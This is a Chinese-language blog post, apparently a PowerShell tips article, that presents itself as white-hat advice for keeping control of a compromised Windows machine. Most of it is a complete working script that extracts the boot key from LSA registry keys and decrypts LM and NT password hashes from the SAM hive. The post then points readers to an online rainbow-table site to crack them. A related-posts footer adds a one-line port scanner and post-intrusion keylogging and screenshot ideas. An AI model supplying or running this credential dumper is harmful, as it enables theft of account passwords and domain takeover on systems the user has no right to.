PowerShell小技巧之获取Windows系统密码Hash

当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获。用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是Rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马,哪怕是替换次要的系统服务自己启动的木马,隐蔽性都太差了。不管后门留的如何完美,木马免杀做的多好,最终还是做不到不留任何痕迹。

那什么方法才能达到目的,又不容易被发现呢?以管理员的身份来管理服务器不就行了么?不管管理员是用3389、pcanywhere、还是radmin管理服务器,获取他的密码,以他的身份进入系统不就得了,如果是域管理员密码,整个域都会在你的控制之下了。获取密码的方法除了网络嗅探,还可以获取密码Hash后通过彩虹表进行攻击,本文将会介绍通过PowerShell获取Windows系统密码Hash的方法,有何密码Hash就离拿到密码不远了。

首先介绍一下windows密码Hash:

早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用户名称为:Administrator
RID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为:683020925C5D8569C23AA724774CE6CC

如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密码。

下面直接上代码,然后对代码简单做一个解释,最后演示一下执行效果。

代码如下:

function Get-WinPassHashes
{
<# Author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    # Get windows password hash and returns the hash list
    #.Example
    #   Get-WinPassHashes
    #
    #>

[CmdletBinding()]
    Param ()
function LoadApi
{
    $oldErrorAction = $global:ErrorActionPreference;
    $global:ErrorActionPreference = "SilentlyContinue";
    $test = [PowerDump.Native];
    $global:ErrorActionPreference = $oldErrorAction;
    if ($test)
    {
        # already loaded
        return;
     }

$code = @'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
     public static extern int RegOpenKeyEx(
        int hKey,
        string subKey,
        int ulOptions,
        int samDesired,
        out int hkResult);

[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
    extern public static int RegEnumKeyEx(
        int hkey,
        int index,
        StringBuilder lpName,
        ref int lpcbName,
        int reserved,
        StringBuilder lpClass,
        ref int lpcbClass,
        out long lpftLastWriteTime);

[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static int RegQueryInfoKey(
        int hkey,
        StringBuilder lpClass,
        ref int lpcbClass,
        int lpReserved,
        out int lpcSubKeys,
        out int lpcbMaxSubKeyLen,
        out int lpcbMaxClassLen,
        out int lpcValues,
        out int lpcbMaxValueNameLen,
        out int lpcbMaxValueLen,
        out int lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

[DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(
        int hKey);

}
    } // end namespace PowerDump

public class Shift {
        public static int   Right(int x,   int count) { return x >> count; }
        public static uint  Right(uint x,  int count) { return x >> count; }
        public static long  Right(long x,  int count) { return x >> count; }
        public static ulong Right(ulong x, int count) { return x >> count; }
        public static int    Left(int x,   int count) { return x << count; }
        public static uint   Left(uint x,  int count) { return x << count; }
        public static long   Left(long x,  int count) { return x << count; }
        public static ulong  Left(ulong x, int count) { return x << count; }
    }
'@

$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
   $dllName = [PsObject].Assembly.Location
   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
   $assemblies = @("System.dll", $dllName)
   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
   $compilerParameters.GenerateInMemory = $true
   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
   if($compilerResults.Errors.Count -gt 0) {
     $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
   }

}

$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

function sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
    return ,((str_to_key $s1),(str_to_key $s2));
}

function str_to_key($s)
{
    $key = @();
    $key += [Shift]::Right([int]($s[0]), 1 );
    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
    $key += $([int]($s[6]) -band 0x7F);
    0..7 | %{
        $key[$_] = [Shift]::Left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
    return ,$key;
}

function NewRC4([byte[]]$key)
{
    return new-object Object |
    Add-Member NoteProperty key $key -PassThru |
    Add-Member NoteProperty S $null -PassThru |
    Add-Member ScriptMethod init {
        if (-not $this.S)
        {
            [byte[]]$this.S = 0..255;
            0..255 | % -begin{[long]$j=0;}{
                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
                }
        }
    } -PassThru |
    Add-Member ScriptMethod "encrypt" {
        $data = $args[0];
        $this.init();
        $outbuf = new-object byte[] $($data.Length);
        $S2 = $this.S[0..$this.S.Length];
        0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
            $i = ($i+1) % $S2.Length;
            $j = ($j + $S2[$i]) % $S2.Length;
            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
            $a = $data[$_];
            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
            $outbuf[$_] = ($a -bxor $b);
        }
        return ,$outbuf;
    } -PassThru
}

function des_encrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $true)
}

function des_decrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $false)
}

function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
    $des.Padding = [Security.Cryptography.PaddingMode]::None;
    $des.Key = $key;
    $des.IV = $key;
    $transform = $null;
    if ($doEncrypt) {$transform = $des.CreateEncryptor();}
    else{$transform = $des.CreateDecryptor();}
    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
    return ,$result;
}

function Get-RegKeyClass([string]$key, [string]$subkey)
{
    switch ($Key) {
        "HKCR" { $nKey = 0x80000000} #HK Classes Root
        "HKCU" { $nKey = 0x80000001} #HK Current User
        "HKLM" { $nKey = 0x80000002} #HK Local Machine
        "HKU"  { $nKey = 0x80000003} #HK Users
        "HKCC" { $nKey = 0x80000005} #HK Current Config
        default {
            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
        }
    }
    $KEYQUERYVALUE = 0x1;
    $KEYREAD = 0x19;
    $KEYALLACCESS = 0x3F;
    $result = "";
    [int]$hkey=0
    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
    {
        $classVal = New-Object Text.Stringbuilder 1024
        [int]$len = 1024
        if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
            [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
        {
            $result = $classVal.ToString()
        }
        else
        {
            Write-Error "RegQueryInfoKey failed";
        }
        [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
    }
    else
    {
        Write-Error "Cannot open key";
    }
    return $result;
}

function Get-BootKey
{
    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
    $b = new-object byte[] $($s.Length/2);
    0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
    $b2 = new-object byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
    return ,$b2;
}

function Get-HBootKey
{
    param([byte[]]$bootkey);
    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
    if (-not $k) {return $null}
    [byte[]]$F = $k.GetValue("F");
    if (-not $F) {return $null}
    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
    $rc4 = NewRC4 $rc4key;
    return ,($rc4.encrypt($F[0x80..0x9F]));
}

function Get-UserName([byte[]]$V)
{
    if (-not $V) {return $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}

function Get-UserHashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
    if ($u.HashOffset + 0x28 -lt $u.V.Length)
    {
        $lm_hash_offset = $u.HashOffset + 4;
        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
    {
        $nt_hash_offset = $u.HashOffset + 8;
        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
    # LM Hash
    if ($enc_lm_hash)
    {
        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
    }

# NT Hash
    if ($enc_nt_hash)
    {
        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
    }

return ,($lmhash,$nthash)
}

function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [Security.Cryptography.MD5]::Create();
    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
    $rc4 = NewRC4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
    return ,$hash;
}

function Get-UserKeys
{
    ls HKLM:\SAM\SAM\Domains\Account\Users |
        where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
            Add-Member AliasProperty KeyName PSChildName -PassThru |
            Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
            Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}

function DumpHashes
{
    LoadApi
    $bootkey = Get-BootKey;
    $hbootKey = Get-HBootKey $bootkey;
    Get-UserKeys | %{
        $hashes = Get-UserHashes $_ $hBootKey;
        "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
            [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
            [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
    }
}
DumpHashes
}

代码中定义的函数Get-WinPassHashes中定义了多个函数,在函数的最后调用DumpHashes作为入口函数。
运行效果如下所示

拿着hash速速破解密码去吧^_^

(0)

相关推荐

  • PowerShell小技巧之读取Windows产品密钥

    之前大多数人可能用过VBS读取Windows产品密钥的VBS脚本,VBS脚本通常都比较隐晦.难懂,今天忙里偷闲,随手写了一个用于读取Windows产品密钥的PowerShell脚本. 代码如下: 复制代码 代码如下: =====文件名:Get-WindowsProductKey.ps1===== function Get-WindowsProductKey([string]$computer) { $comments =@' author:fuhj(powershell#live.cn ,htt

  • PowerShell小技巧之获取域名whois信息

    Whois 简单来说,就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人.域名注册商.域名注册日期和过期日期等).通过域名Whois服务器查询,可以查询域名归属者联系方式,以及注册和到期时间.通常情况下,whois信息均为真实信息,通过whois信息可以找到域名注册人的很多真实信息,像电话,邮箱,NS记录,是对网站进行社工非常好的信息来源,对于安全从业人员来说,快速获取whois信息,能够帮助自己掌握目标网站的很多有用信息. 而whois信息通常是保存在各级域名注册

  • PowerShell脚本开发之对指定IP进行端口扫描

    前些天看到一篇关于Metasploit与PowerShell的文章,里面提到了一句关于端口扫描的语句,写的很简练,思路很不错,可以抛开笨重的Nmap直接扫描指定的指定IP的端口: 复制代码 代码如下: 1..1024 | %{ echo ((new-object Net.Sockets.TcpClient).Connect("192.168.10.26",$_)) "$_ is open"} 2>$null 语句中直接通过..列举了1到1024之间的数字,通过

  • PowerShell小技巧之定时记录操作系统行为

    作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件.或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了. 可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候P

  • PowerShell小技巧之执行SOAP请求

    SOAP的请求在Web Service是无处不在的,像WCF服务和传统ASMX asp.net的web Service.如果要测试SOAP服务是否好用通过web编程来实现就显得太过于复杂了,下面的脚本片段(snippet)将会轻而易举的完成通过powershell测试和调用SOAP服务: 这是一段程序代码. 复制代码 代码如下: function Execute-SOAPRequest (         [Xml]    $SOAPRequest,         [String] $URL

  • PowerShell小技巧之发送TCP请求

    很多时候我们需要通过Socket发送特定的TCP请求给服务器的特定端口来实现探测服务器的指定端口所开启的服务.很多语言都有相应的方法实现上述需求,当然,PowerShell也不例外,比如我们要发送一个简单的http请求到指定的web服务器: GET / HTTP/1.1 Host:cn.bing.com 这里我们想请求微软必应的中文首页,如果需要通过PowerShell向cn.bing.com服务器发送get请求,就需要创建一个System.Net.Sockets.TcpClient对象,向指定

  • PowerShell小技巧之实现文件下载(类wget)

    对Linux熟悉的读者可能会对Linux通过wget下载文件有印象,这个工具功能很强大,在.NET环境下提到下载文件大多数人熟悉的是通过System.Net.WebClient进行下载,这个程序集能实现下载的功能,但是有缺陷,如果碰上类似于-/scripts/?dl=417这类的下载链接将无法正确识别文件名,下载的文件通常会被命名为dl=417这样古怪的名字,其实对应的文件名是在访问这个链接返回结果的HTTP头中包含的.事实上微软也提供了避免这些缺陷的程序集System.Net.HttpWebR

  • PowerShell小技巧之尝试ssh登录

    在PSNet程序集中继续进行扩展,在$env:PSSpace/PSNet/TCPOp/下创建Invoke-SSHLogin.ps1脚本用于在传入指定ssh地址.用户名和密码后返回是否登录成功. 在$env:PSSpace/PSNet/下创建Lib目录用于存放在脚本中需要使用的第三方库,由于在本文中需要引用Renci.SshNet.dll用户可以从http://sshnet.codeplex.com/releases/view/72214中下载程序,解压后将文件放置在$env:PSSpace/PS

  • PowerShell小技巧之定时抓取屏幕图像

    昨天的博文写了定时记录操作系统行为,其实说白了就是抓取了击键的记录和对应窗口的标题栏,而很多应用程序标题栏又包含当时记录的文件路径和文件名,用这种方式可以大致记录操作了哪些程序,打开了哪些文件,以及敲击了哪些按键.事实上这样记录操作系统的行为显得相对单薄一点,因为记录的内容不太形象,对于新手来说太过于隐晦了,对于人类来说,图像会比文字更加有利于用户理解.当操作系统不方便装屏幕记录软件,但又需要看已经登录用户在干什么的时候,用PowerShell的脚本来实现定时抓取图像的方式记录操作,查看图像就知

  • PowerShell小技巧之获取Windows系统密码Hash

    当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获.用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是Rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马

  • Powershell小技巧之获取注册表值的类型

    当你不需要获取注册表数据类型而只要其值是非常简单的:你可以使用Get-ItemProperty: 复制代码 代码如下: Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 如果你需要获取数据类型,只需要多几个步骤: 复制代码 代码如下: $key = Get-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run $key.Get

  • Powershell小技巧之获取MAC地址

    在Powershell中获取MAC地址不是很难.这里就有一种方法: 复制代码 代码如下: PS> getmac /FO CSV | ConvertFrom-Csv Physical Address                        Transport Name                         ----------------                        --------------                         5C-51-4F-6

  • Powershell小技巧之获取当前的时间并转换为时辰

    午时三刻已到,行刑,刀下留人,现在到底是不是午时,能否让PowerShell告诉我呢? 好的, 没问题.从晚上23点到凌晨2点之间属于子时,每两个小时一个时辰,依次为"子丑寅卯辰巳午未申酉戌亥". 函数获取当前时辰 用PowerShell脚本实现: function Get-ChinaTimeAlias { param( [ValidateRange(0,23)] [int]$Hour = (get-date).Hour ) $timeAliasArray='子丑寅卯辰巳午未申酉戌亥'

  • Powershell小技巧之获取变量列表

    我们的需求是当想要列出脚本中所有变量. 这里定义了一个函数 Get-Variable: 复制代码 代码如下: function Get-Variable {     $token = $null   $errors = $null     $ast = [System.Management.Automation.Language.Parser]::ParseInput($psise.CurrentFile.Editor.Text, [ref] $token, [ref] $errors)    

  • PowerShell小技巧之获取TCP响应(类Telnet)

    通常情况下,为了检测指定的TCP端口是否存活,我们都是通过telnet指定的端口看是否有响应来确定,然而默认情况下win8以后的系统默认是不安装telnet的.设想一下如果你黑进了一个服务器,上面没装telnet,但是为了进一步渗透进内网,需要探测内部服务器特定端口是否打开,同时你还不愿意安装telnet,担心引起管理员注意.那么好吧,在这个情况下你需要我的这个脚本.由于它是原生态的PowerShell语句完成,木有telnet你也照样能检测TCP端口的情况了. 下面首先上代码,后面进行讲解:

  • Powershell小技巧之获取对象可变的特征

    当你得到一个有属性对象,它的一些值有的改变,有的则只能读取. 这里有个技巧可以找出那些可以更改的属性.代码的有效范围是当前控制台,但你可以调用不同的命令结果: 复制代码 代码如下: $myProcess = Get-Process -Id $Pid $myProcess |   Get-Member -MemberType Properties |   Out-String -Stream |   Where-Object { $_ -like '*set;*' } 结果如下: 复制代码 代码如

  • Powershell小技巧之获取字符串的行数

    这里有一个简单的方法教你获得一个字符串(不是数组哦)包涵多少行: $text = @' This is some sample text Let's find out the number of lines. '@ $text.Length - $text.Replace("`n",'').Length + 1 从技术上讲,该示例使用了上面的字符串来创建多行字符串,但是这仅仅是一个例子.只要懂得了它的工作原理就能在多种场合使用. 支持所有的PS版本

随机推荐